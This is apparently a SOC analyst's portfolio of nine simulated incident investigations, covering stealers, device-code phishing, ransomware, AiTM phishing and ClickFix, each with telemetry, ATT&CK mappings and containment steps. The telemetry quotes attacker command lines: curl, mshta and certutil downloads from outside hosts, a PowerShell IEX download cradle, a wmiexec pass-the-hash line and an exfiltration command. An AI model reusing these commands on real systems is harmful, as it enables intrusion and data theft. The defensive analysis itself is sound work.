

SOC Incident Triage Reports

Ndumiso Mbanjwa · Aspiring SOC Analyst & GRC Specialist

9 Operations

All True Positive

25 / 85 ATT&CK techniques covered

Platform: SOC Simulator

Nine hands-on SOC investigations completed on SOC Simulator, a browser-based training platform placing analysts inside realistic SIEM, XDR, email and cloud-audit consoles.

Each report documents the real confirmed findings from the completed investigation - hosts, IPs, file hashes, and MITRE ATT&CK technique classifications - as recorded by the platform.

GitHub: github.com/onewithalgo-web/SOC-Simulator-Incident-Reports

StealC: Cheat Tool to Emptied Wallet

Tools: SIEM, XDR · Duration: ~20 min · 6/6 tasks True Positive

A gamer chasing a free aimbot ran a fake cheat-tool installer on an unmanaged home desktop (host DESKTOP-K4P7N2X, user tyler.brennan). Within the hour the endpoint was beaconing outbound and pinning its CPU.

Investigation & Confirmed Findings

Step	Finding
Lure	entrarium[.]live
Delivery	setup.exe (C:\Users\tyler.brennan\Downloads\Entrarium\setup.exe)
Sample hash (SHA-1)	764a05c79d5baa853bc29780f700a0a426faedfa
Persistence	Run key 'Entrarium'
Collection	Chromium credential/cookie DBs, crypto wallet files
Exfiltration IP	185.171.244[.]93
2nd-stage payloads	addon.exe / addon2.exe from 193.106.191.142
Classification	T1496 - Resource Hijacking (cryptojacker)

Evidence (platform telemetry)

```
$ Process: setup.exe "C:\Users\tyler.brennan\Downloads\Entrarium\setup.exe"
SHA-1: 764a05c79d5baa853bc29780f700a0a426faedfa
$ cmd.exe /c curl -o ...Temp\addon.exe http://193.106.191.142/work/...
$ Process: addon.exe   SHA-1: 7f9af7ca36d2e539414a3d9eb5a2a96d72abf8df
$ Process: addon2.exe  SHA-1: 667fc2c7e7aa428dd6a35e32ac979d910b740684
[Registry] Run key "Entrarium" written for autostart persistence
[Network] Large outbound transfer to 185.171.244.93 (staged archive upload)
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1204.002 User Execution: Malicious File
Persistence	T1547.001 Registry Run Keys
Credential Access	T1555 Credentials from Password Stores
Collection	T1115 Clipboard Data / T1005 Data from Local System
Exfiltration	T1041 Exfiltration Over C2 Channel
Impact	T1496 Resource Hijacking (confirmed classification)

Outcome: Closed as True Positive, 6/6 tasks. Isolate the host, rotate every credential/wallet key resident on the machine, remove the Run-key entry, block entrarium.live, 185.171.244.93 and 193.106.191.142.

Takeaway: Cracked/cheat-tool downloads remain one of the highest-yield social-engineering lures because the user is already primed to run an untrusted executable. The second-stage cryptojacker shows a stealer payload is often not the only monetization attempt on a compromised host.

Entra ID Device Code Phishing: Token Theft

Tools: SIEM, Cloud audit, Email · Duration: ~45 min · 7/7 tasks, 88.1% True Positive

A Microsoft 365 user at Arlowick Financial Services was phished into entering a device code at the legitimate Microsoft devicelogin page, handing an attacker a valid OAuth access token without ever entering a password on a fake site.

Investigation & Confirmed Findings

Step	Finding
Compromised account	kate.henderson@arlowick-fs.com
Auth anomaly	deviceCode grant type
Attacker's first IP	185.125.0[.]44
Rogue application	f2a9c817-3b4e-4d91-a7c0-8f1d2e3b5a6c
Phishing sender domain	ms-teams-notify[.]io
Data accessed	/v1.0/users/kate.henderson@arlowick-fs.com/mailFolders/inbox/messages
Technique classification	T1528 - Steal Application Access Token

Evidence (platform telemetry)

```
[Entra Sign-In Log]
User: kate.henderson@arlowick-fs.com
AuthMethod: deviceCode SourceIP: 185.125.0.44
AppId: f2a9c817-3b4e-4d91-a7c0-8f1d2e3b5a6c (NOT in approved enterprise app registry)

[Graph Audit]
GET /v1.0/users/kate.henderson@arlowick-fs.com/mailFolders/inbox/messages
Requestor: f2a9c817-3b4e-4d91-a7c0-8f1d2e3b5a6c via delegated token

[Email Gateway] SPF/DMARC FAIL - sender domain ms-teams-notify.io
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1566.002 Phishing: Spearphishing Link
Credential Access	T1528 Steal Application Access Token
Collection	T1114.002 Email Collection: Remote Email Collection
Defense Evasion / Persistence	T1078.004 Valid Accounts: Cloud Accounts

Outcome: Closed as True Positive, 88.1% accuracy. Revoke OAuth tokens and sessions, remove the rogue app registration, disable device-code flow tenant-wide where not required, add conditional-access restricting device-code auth to managed devices.

Takeaway: MFA doesn't defeat every phishing technique - device-code phishing abuses a legitimate OAuth flow rather than harvesting a password, so detection has to live in the sign-in/Graph audit logs, not just the credential layer.

Fake Zoom to Ransomware: The Social Engineering Pipeline

Tools: SIEM, XDR, Firewall · Duration: ~1h 40m · 10/10 tasks, 92.5% True Positive

An advanced, multi-stage intrusion (host CORP-WKS-102, user adriana.garcia) starting with a drive-by trojanized Zoom installer, progressing through loader stages to C2, lateral movement, backup-credential theft, and mass ransomware deployment via enterprise software-deployment tooling.

Investigation & Confirmed Findings

Step	Finding
Initial access	Zoom_v_2.00.4.exe
Installer hash (SHA-256)	ecb0b3057163cd25c989a66683cfb47c19f122407cbbb49b1043e908c4f07ad1
Execution chain	mshta.exe -> remote thread injection into MSBuild.exe
C2 channel	45.141.87[.]218:443
Remote-access origin	92.51.2[.]27
2nd-stage payload (SHA-256)	498BA0AFA5D3B390F852AF66BD6E763945BF9B6BFF2087015ED8612A18372155
Backup credential theft	Veeam-Get-Creds-New.ps1
Persistence account	backup (local account)
Ransomware deployment	PDQDeployService.exe (abused legitimate tool)
Ransom note	rhddiicoE.README.txt

Evidence (platform telemetry)

```
[XDR Process Tree - CORP-WKS-102]
[4412] Zoom_v_2.00.4.exe (adriana.garcia) 08:24:53
      SHA-256: ecb0b3057163cd25c989a66683cfb47c19f122407cbbb49b1043e908c4f07ad1
[1001] mshta.exe http://92.51.2.22:443/UsySLX1n.hta 08:26:15
[critical] Remote thread created in MSBuild.exe by Zoom_v_2.00.4.exe 08:30:45
      -> outbound 45.141.87.218:443
[6700] ZoomUpdater.exe (2nd stage, 2026-05-06)
      SHA-256: 498BA0AFA5D3B390F852AF66BD6E763945BF9B6BFF2087015ED8612A18372155
[Detected Behaviors] T1204.002 * T1218.005 (mshta) * T1055 (process injection, critical)
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1189 Drive-by Compromise / T1204.002 User Execution
Defense Evasion	T1218.005 Mshta / T1055 Process Injection
Command and Control	T1071 Application Layer Protocol

Credential Access	T1555 Credentials from Password Stores (Veeam)
Persistence	T1136 Create Account
Execution (fleet-wide)	T1072 Software Deployment Tools
Impact	T1486 Data Encrypted for Impact

Outcome: Closed as True Positive, 10/10 tasks, 92.5%. Isolate CORP-WKS-102 and any host reached via the 'backup' account, revoke PDQ Deploy credentials, rotate Veeam credentials, block C2 IPs, rebuild from clean offline backups.

Takeaway: Abuse of a trusted internal software-deployment tool as the final delivery mechanism turned a single-host compromise into an enterprise-wide ransomware event. The backup-credential theft step is a reminder that an attacker who compromises backup infrastructure before triggering encryption can sabotage the recovery path itself.

Credential Harvesting: The Lookalike Login

Tools: SIEM · Duration: ~20 min · 7/7 tasks, 43.17% True Positive

An AiTM credential-phishing campaign lured employee alicia.rodriguez (host corp-wks-7712) to a lookalike Microsoft 365 login page. Worked entirely from SIEM logs: email gateway/DNS, network connections, and Azure AD sign-in records.

Investigation & Confirmed Findings

Step	Finding
Primary phishing domain	login.microsoftonline.in[.]net
AiTM hosting IP	163.5.221[.]110
Secondary phishing domain	integralsm[.]cl
Redirect-chain first hop	absoluteprintgroup[.]com
Account takeover	Sign-in as alicia.rodriguez from attacker OS: linux
Containment answer	Revoke sessions/tokens, then reset password

Evidence (platform telemetry)

```
[Email Gateway / DNS]
Phishing link -> login.microsoftonline.in.net
Redirect chain: absoluteprintgroup.com -> ... -> 163.5.221.110 (AiTM proxy)

[Azure AD Sign-In]
User: alicia.rodriguez   Result: Success
Client OS: linux (no MFA failure logged - stolen session cookie, not password)

[Wider search] integralsm.cl - 2nd employee targeted, same campaign infrastructure
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1566.002 Phishing: Spearphishing Link
Credential Access	T1557 Adversary-in-the-Middle / T1539 Steal Web Session Cookie
Defense Evasion / Persistence	T1078.004 Valid Accounts: Cloud Accounts

Outcome: Closed as True Positive. Correct containment: revoke the stolen session/refresh token and force re-authentication - a password reset alone does not invalidate an already-stolen session cookie.

Takeaway: Lower score (43.17%) reflects under-scoping the campaign initially - I confirmed the primary victim and hosting infrastructure quickly but was slower to pivot onto the secondary phishing domain targeting a second

employee. Lesson applied two operations later in QR Code Phishing, where full campaign scoping on the first pass produced a 100% score.

MFA Fatigue: The Notification Flood

Tools: SIEM, XDR · Duration: ~30 min · 6/6 tasks, 36.25% True Positive

A modern identity-based attack against nora.beckett (host corp-wks-042): a fake Dropbox-share phish redirected her to an AiTM proxy, followed by MFA push-bombing, a foothold agent, lateral movement, and data exfiltration.

Investigation & Confirmed Findings

Step	Finding
Kill-chain start	Fake Dropbox email -> drbx-share.com -> flowerstorm-auth.net (AiTM)
MFA-fatigue technique	T1621 - 5 denials + 1 approval from 198.88.230.252 in <5 min
Foothold tool	adversary-ai-agent.exe -> c2.flowerstorm-auth.net:8443
Lateral-movement tool	python.exe running wmiexec.py (Impacket) via certutil-fetched runtime
Pass-the-hash	aad3b435b51404eeaad3b435b51404ee:ccef208a86548b2a371ab851255ff093
2nd compromised host	WS-MKT-02 (WS-HR-01 / WS-SALES-01 attempted, denied)
Exfiltration	4.2 GB marketing data -> 103.112.22.236

Evidence (platform telemetry)

```
[XDR - corp-wks-042]
14:22 Phishing email (fake Dropbox share)
14:25 Click -> redirect via drbx-share.com -> flowerstorm-auth.net
14:26 5x MFA push DENIED, 1x APPROVED source 198.88.230.252 [T1621]
14:30 adversary-ai-agent.exe deployed to Temp, beacon c2.flowerstorm-auth.net:8443
14:56 certutil.exe -urlcache -split -f https://c2.flowerstorm-auth.net/tools/python-embed.zip
14:58 python.exe wmiexec.py CORP/nora.beckett@10.0.1.112 [lateral movement -> WS-MKT-02]
NTLM (PtH): aad3b435b51404eeaad3b435b51404ee:ccef208a86548b2a371ab851255ff093
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1566.002 Phishing: Spearphishing Link
Credential Access	T1557 AiTM / T1621 MFA Request Generation
Persistence / Defense Evasion	T1078.004 Valid Accounts: Cloud Accounts
Lateral Movement	T1021.002 SMB Admin Shares / T1550.002 Pass the Hash
Command and Control	T1105 Ingress Tool Transfer (certutil)

Outcome: Closed as True Positive, 6/6 tasks. Isolate corp-wks-042 and WS-MKT-02, block attacker IPs/domain, revoke sessions and force MFA re-enrollment, invalidate the compromised NTLM hash, hunt for the agent hash and wmiexec.py pattern fleet-wide.

Takeaway: My lowest-scoring operation (36.25%). I correctly identified the MFA-fatigue pattern and overall kill chain, but was less precise pinning down the exact source-session correlation the platform expected before moving to lateral-movement scoping. Recommended detection rule: >3 MFA denials + 1 approval within 5 minutes -> automatic high-severity alert.

ClickFix: The Fake CAPTCHA Trap

Tools: SIEM, XDR · Duration: ~20 min · 5/5 tasks, 70.83% True Positive

ClickFix social engineering: a fake CAPTCHA tricked anita.garcia (host corp-wks-102) into pressing Win+R, pasting, and running attacker-supplied content herself.

Investigation & Confirmed Findings

Step	Finding
Malicious DLL	Microsoft.Runtime.dll (loaded via regasm.exe)
Payload source IP	185.91.69[.]119 (promptcraft.online)
C2 / exfil IP	185.147.124[.]40
Execution chain	powershell.exe -> mshta.exe -> RegAsm.exe -> cleanuploader.exe
Persistence	Registry Run key confirmed
Containment decision	Isolate corp-wks-102 (XDR host isolation)

Evidence (platform telemetry)

```
[Process Chain]
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden IEX (New-Object Net.WebClient)...
mshta.exe hxxps://eembryequo.shop/index.hta
RegAsm.exe /U C:\Users\anita.garcia\Downloads\l6E.exe [loads Microsoft.Runtime.dll]
cleanuploader.exe --target chrome --exfil c2-channel -> 185.147.124.40

[Registry] Run key persistence confirmed for cleanuploader.exe
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access / Execution	T1204.004 Malicious Copy and Paste
Execution	T1059.001 PowerShell
Defense Evasion	T1218.005 Mshta / T1218.009 Regasm
Persistence	T1547.001 Registry Run Keys
Collection / Credential Access	T1005 Data from Local System / T1555

Outcome: Closed as True Positive, 5/5 tasks. Isolate the host via XDR, terminate cleanuploader.exe, remove the Run-key entry, rotate credentials, block promptcraft.online/185.91.69.119 and 185.147.124.40.

Takeaway: ClickFix relies entirely on the user performing the malicious action themselves - no exploit is involved - making Run-dialog-then-PowerShell-spawn a more reliable detection signal than flagging the lure page itself.

QR Code Phishing: Scan to Compromise

Tools: SIEM · Duration: ~15 min · 6/6 tasks, 100% True Positive

A quishing attack hiding its payload inside a QR-code image to bypass email filters. ~47 employees received a fake MFA-enrollment email; at least 3 scanned on personal phones. Confirmed compromise: sarah.jenkins.

Investigation & Confirmed Findings

Step	Finding
Redirect server	176.111.219[.]85
AiTM / credential server	185.234.72[.]19
Post-compromise infra	185.234.72[.]40 (separate from phishing infra)
Phishing domain	m365-mfa-enroll.com
Post-compromise activity	Graph mailbox enumeration, SharePoint exfil, hidden forwarding rule
Containment answer	Revoke sessions/tokens + remove forwarding rule

Evidence (platform telemetry)

```
[Chain] QR decode -> 176.111.219.85 (redirect) -> 185.234.72.19 (AiTM/Evilginx-style)
Victim: sarah.jenkins  Session cookie stolen despite MFA

[Post-Compromise, separate infra] 185.234.72.40
Graph API: mailbox enumeration
Hidden inbox forwarding rule created
SharePoint: document exfiltration confirmed

Phishing domain: m365-mfa-enroll.com
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1566.002 Phishing (QR-embedded)
Credential Access	T1557 AiTM / T1539 Steal Web Session Cookie
Collection	T1114.002 Email Collection / T1213.002 SharePoint
Persistence	T1114.003 Email Forwarding Rule
Defense Evasion	T1078.004 Valid Accounts: Cloud Accounts

Outcome: Closed as True Positive with a perfect task score. Revoke the stolen session/token, force re-authentication, remove the hidden forwarding rule, audit SharePoint access for scope of exposure.

Takeaway: Full-chain reconstruction - not just spotting the initial phish - is what closed this cleanly: the forwarding rule alone would have let the attacker keep mailbox visibility even after a password reset. Directly applies the scoping lesson from Credential Harvesting: The Lookalike Login.

Finance Mailbox Takeover at MegaCorp Logistics

Tools: SIEM, XDR, Email · Duration: ~45 min · 8/8 tasks, 56.08% True Positive

A finance analyst reported colleagues receiving replies to messages she never sent; her account was disabled mid-investigation. Reconstructed the compromised endpoint, browser activity, account takeover, and mail-platform artifacts.

Investigation & Confirmed Findings

Step	Finding
Compromised endpoint	corp-wks-082
Malicious domain reached	ywnjb[.]com
1st XDR detection	T1557 - Adversary-in-the-Middle
2nd XDR detection	T1539 - Steal Web Session Cookie
Delivered file	invoice.svg (SVG smuggling)
Launching process	msedge.exe
Mail-server artifact	Email Forwarding Rule

Evidence (platform telemetry)

```
[Endpoint corp-wks-082]
msedge.exe opened invoice.svg -> AiTM redirect chain -> ywnjb.com
[XDR] T1557 Adversary-in-the-Middle
[XDR] T1539 Steal Web Session Cookie (minutes later, same host)

[Mail Platform]
Forwarding rule created on compromised mailbox
Colleagues receiving unsolicited replies from live threads (BEC extension attempt)
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access	T1566.001 Spearphishing Attachment (SVG smuggling)
Credential Access	T1557 AiTM / T1539 Steal Web Session Cookie
Persistence / Defense Evasion	T1078.004 Valid Accounts: Cloud Accounts
Persistence	T1114.003 Email Forwarding Rule

Outcome: Closed as True Positive, 8/8 tasks. Remediate corp-wks-082, revoke sessions and reset credentials, remove the forwarding rule, block ywnjb.com, notify counterparties who received attacker-sent replies.

Takeaway: Required tying three evidence sources - endpoint, network, mail platform - into one causal chain. Score (56.08%) reflects spending more time confirming the endpoint-to-mailbox link than expected; a reminder to timebox host-level triage once the identity/mail pivot is clear.

Cloud Identity Under Siege

Tools: SIEM, XDR, Firewall, Cloud audit · Duration: ~1h · 8/8 tasks, 48.71% True Positive

Nine days of telemetry from a cloud-first Azure estate (Entra ID, endpoints, Kubernetes, Azure Function, storage) with no pre-seeded alert - required establishing a baseline of normal activity, then finding what didn't fit.

Investigation & Confirmed Findings

Step	Finding
Baseline signal	Windows Event ID 4624 (clean interactive logon)
Unexpected inbound to app server	10.0.1.134
Break-glass sign-in origin	10.0.2.69
Kubernetes API client	kubectl.exe on k8s-node-primary
Staged recon output	/tmp/graph_objects.json (corp-wks-8821, marcus.aurelius)
Staged K8s secrets file	/tmp/etcd_secrets.txt
Exfiltrated config	.env, pulled from srv-app-prod-01 over HTTP
Perimeter verdict	Allowed (not blocked)

Evidence (platform telemetry)

```
[Baseline] EventID 4624 = clean interactive logon
[Anomaly] Inbound to app server: 10.0.1.134
Break-glass admin sign-in from internal host: 10.0.2.69
k8s-node-primary: kubectl.exe reaching K8s API server
corp-wks-8821 (marcus.aurelius): Graph enum dump -> /tmp/graph_objects.json
K8s secrets staged -> /tmp/etcd_secrets.txt
srv-app-prod-01: .env pulled over HTTP
[Perimeter Verdict] ALLOWED - exfiltration was not blocked
```

MITRE ATT&CK Mapping

Tactic	Technique
Initial Access / Credential Access	T1078.004 Valid Accounts: Cloud Accounts
Discovery	T1526 Cloud Service Discovery / T1087.004 Account Discovery
Credential Access	T1552.001 Credentials in Files
Collection / Exfiltration	T1530 Data from Cloud Storage / T1041

Outcome: Closed as True Positive, 8/8 tasks. Broadest-scope operation of the nine - nine days of multi-service

telemetry, no seeded alert - and the lowest-scoring of the identity/cloud scenarios (48.71%).

Takeaway: Hardest operation to fully resolve: with no starting alert, the volume of plausible-but-irrelevant activity across four service types made it easy to under-attribute events. The perimeter ALLOWING the final exfiltration is the most operationally important finding - detection, not prevention, was the only control that worked, exactly the control gap a SOC analyst should escalate.